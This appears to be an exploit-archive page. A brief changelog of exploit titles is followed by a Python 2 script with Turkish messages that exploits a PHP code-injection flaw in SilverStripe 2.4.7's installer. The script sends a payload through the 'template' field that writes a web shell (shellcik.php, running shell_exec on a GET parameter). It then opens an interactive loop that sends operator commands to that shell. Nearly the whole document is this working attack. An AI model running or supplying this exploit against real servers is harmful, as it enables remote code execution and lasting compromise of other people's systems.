9496a4320a
4 changes to exploits/shellcodes systemd - reexec State Injection systemd - chown_one() can Dereference Symlinks systemd - 'reexec' State Injection Centos 7.1 / Fedora 22 - abrt Privilege Escalation abrt (Centos 7.1 / Fedora 22) - Local Privilege Escalation Google Chrome + Fedora 25 / Ubuntu 16.04 - 'tracker-extract' / 'gnome-video-thumbnailer' + 'totem' Drive-By Download Google Chrome (Fedora 25 / Ubuntu 16.04) - 'tracker-extract' / 'gnome-video-thumbnailer' + 'totem' Drive-By Download glibc - 'getcwd()' Local Privilege Escalation glibc < 2.26 - 'getcwd()' Local Privilege Escalation Linux Kernel < 4.13.9 (Ubuntu 16.04/Fedora 27) - Local Privilege Escalation Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation systemd - 'chown_one()' Dereference Symlinks SilverStripe CMS 3.0.2 - Multiple Vulnerabilities SilverStripe CMS 3.0.2 - (Multiple Vulnerabilities) Cross-Site Scripting / Cross-Site Request Forgery EditMe CMS - Cross-Site Request Forgery (Add New Admin) EditMe CMS - Cross-Site Request Forgery (Add Admin) Worpress Plugin Service Finder Booking < 3.2 - Local File Disclosure WordPress Plugin Service Finder Booking < 3.2 - Local File Disclosure WUZHI CMS 4.1.0 - Cross-Site Request Forgery (Add Admin User) WUZHI CMS 4.1.0 - Cross-Site Request Forgery (Add Admin) Drupal < 7.58 - 'drupalgeddon3' (Authenticated) Remote Code Execution (PoC) Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code Execution (PoC) IPConfigure Orchid VMS 2.0.5 - Directory Traversal Information Disclosure (Metasploit) IPConfigure Orchid VMS 2.0.5 - Directory Traversal / Information Disclosure (Metasploit) KingMedia 4.1 - Remote Code Execution KingMedia 4.1 - File Upload CMS Made Simple 2.2.7 - Remote Code Execution CMS Made Simple 2.2.7 - (Authenticated) Remote Code Execution LibreHealth 2.0.0 - Arbitrary File Actions LibreHealth 2.0.0 - (Authenticated) Arbitrary File Actions
76 lines
No EOL
3.6 KiB
Python
Executable file
76 lines
No EOL
3.6 KiB
Python
Executable file
# source: http://www.securityfocus.com/bid/53282/info
|
|
#
|
|
# SilverStripe is prone to a remote PHP code-injection vulnerability.
|
|
#
|
|
# An attacker can exploit this issue to inject and execute arbitrary PHP code in the context of the affected application. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.
|
|
#
|
|
# SilverStripe 2.4.7 is vulnerable; other versions may also be affected.
|
|
#
|
|
|
|
#!/usr/bin/env python
|
|
# -*- coding:utf-8 -*-
|
|
import httplib, urllib, urllib2,sys, getopt
|
|
|
|
def Menu():
|
|
print "\n\n-------------------------------------------------------"
|
|
print "-Kullanim Klavuzu [ USAGE ] "
|
|
print "-------------------------------------------------------"
|
|
print "- Temel Kullanim - I [ Default Usage ] : "
|
|
print "- python exo.py www.target.com / \n"
|
|
print "- Temel Kullanim - II [ Default Usage ] : "
|
|
print "- python exo.py www.target.com /path/ \n"
|
|
if (len(sys.argv) <= 2) or (len(sys.argv) > 3):
|
|
Menu()
|
|
exit(1)
|
|
host = sys.argv[1]
|
|
path = sys.argv[2]
|
|
|
|
print " [+] Exploit ediliyor..!"
|
|
payload="blackcandy');fwrite(fopen("
|
|
payload+='"../shellcik.php","w"), '
|
|
payload+="'<?php $gelen"
|
|
payload+='=@$_GET["gelen"]; echo shell_exec($gelen);?>'
|
|
parametreler = urllib.urlencode({'db[type]':'MySQLDatabase',
|
|
'db[MySQLDatabase][server]':'localhost',
|
|
'db[MySQLDatabase][username]':'root',
|
|
'db[MySQLDatabase][password]':'qwe123',
|
|
'db[MySQLDatabase][database]':'SS_mysite',
|
|
'db[MSSQLDatabase][server]':'localhost',
|
|
'db[MSSQLDatabase][username]':'root',
|
|
'db[MSSQLDatabase][password]':'qwe123',
|
|
'db[MSSQLDatabase][database]':'SS_mysite',
|
|
'db[PostgreSQLDatabase][server]':'localhost',
|
|
'db[PostgreSQLDatabase][username]':'root',
|
|
'db[PostgreSQLDatabase][password]':'qwe123',
|
|
'db[PostgreSQLDatabase][database]':'SS_mysite',
|
|
'db[SQLiteDatabase][path]':'/var/www/SilverStripe/assets/.db',
|
|
'db[SQLiteDatabase][database]':'SS_mysite',
|
|
'admin[username]':'admin',
|
|
'admin[password]':'qwe123',
|
|
'locale':'en_US',
|
|
'template':payload,
|
|
'stats':'on',
|
|
'go':'Installing SilverStripe...'})
|
|
print " [+]Parametreler olusturuldu [ Params Generated For Http Request ]"
|
|
basliklar = {"Content-type": "application/x-www-form-urlencoded",
|
|
"Accept": "text/plain",
|
|
"User-Agent":"Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:11.0) Gecko/20100101 Firefox/11.0",
|
|
"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
|
|
"Accept-Language":"en-us,en;q=0.5",
|
|
"Accept-Encoding":"gzip, deflate",
|
|
"Connection":"keep-alive",
|
|
"Referer":"http://" + host + path+"install.php",
|
|
"Cookie":"alc_enc=1%3Aa9dbf14198a8f6bd9dd2d2c3e41e7164fb206d76; PastMember=1; PHPSESSID=0d7k4e661jd96i0u64vij68am3; phpbb3_srzvs_k=; phpbb3_srzvs_u=2; phpbb3_srzvs_sid=ede0a17fc1f375d6a633f291119c92d7; style_cookie=null; PHPSESSID=j7nr6uro3jc5tulodfeoum3u90; fws_cust=mince%232%23d41d8cd98f00b204e9800998ecf8427e"
|
|
}
|
|
print " [+]Basliklar olusturuldu [ Headers Generated For Http Request ]"
|
|
conn = httplib.HTTPConnection("localhost:80")
|
|
conn.request("POST",str(path) +"install.php",parametreler,basliklar)
|
|
responce = conn.getresponse()
|
|
if responce.status != 200:
|
|
print "[+]Http Hatasi : " + responce.status + "\n"
|
|
print "Cant Exploit!:("
|
|
if responce.status == 200:
|
|
komut=""
|
|
while( komut != "exit" ):
|
|
komut = urllib.quote_plus(str(raw_input("Shell :) => ")))
|
|
print urllib2.urlopen("http://" + host + path+"shellcik.php?gelen="+komut).read() |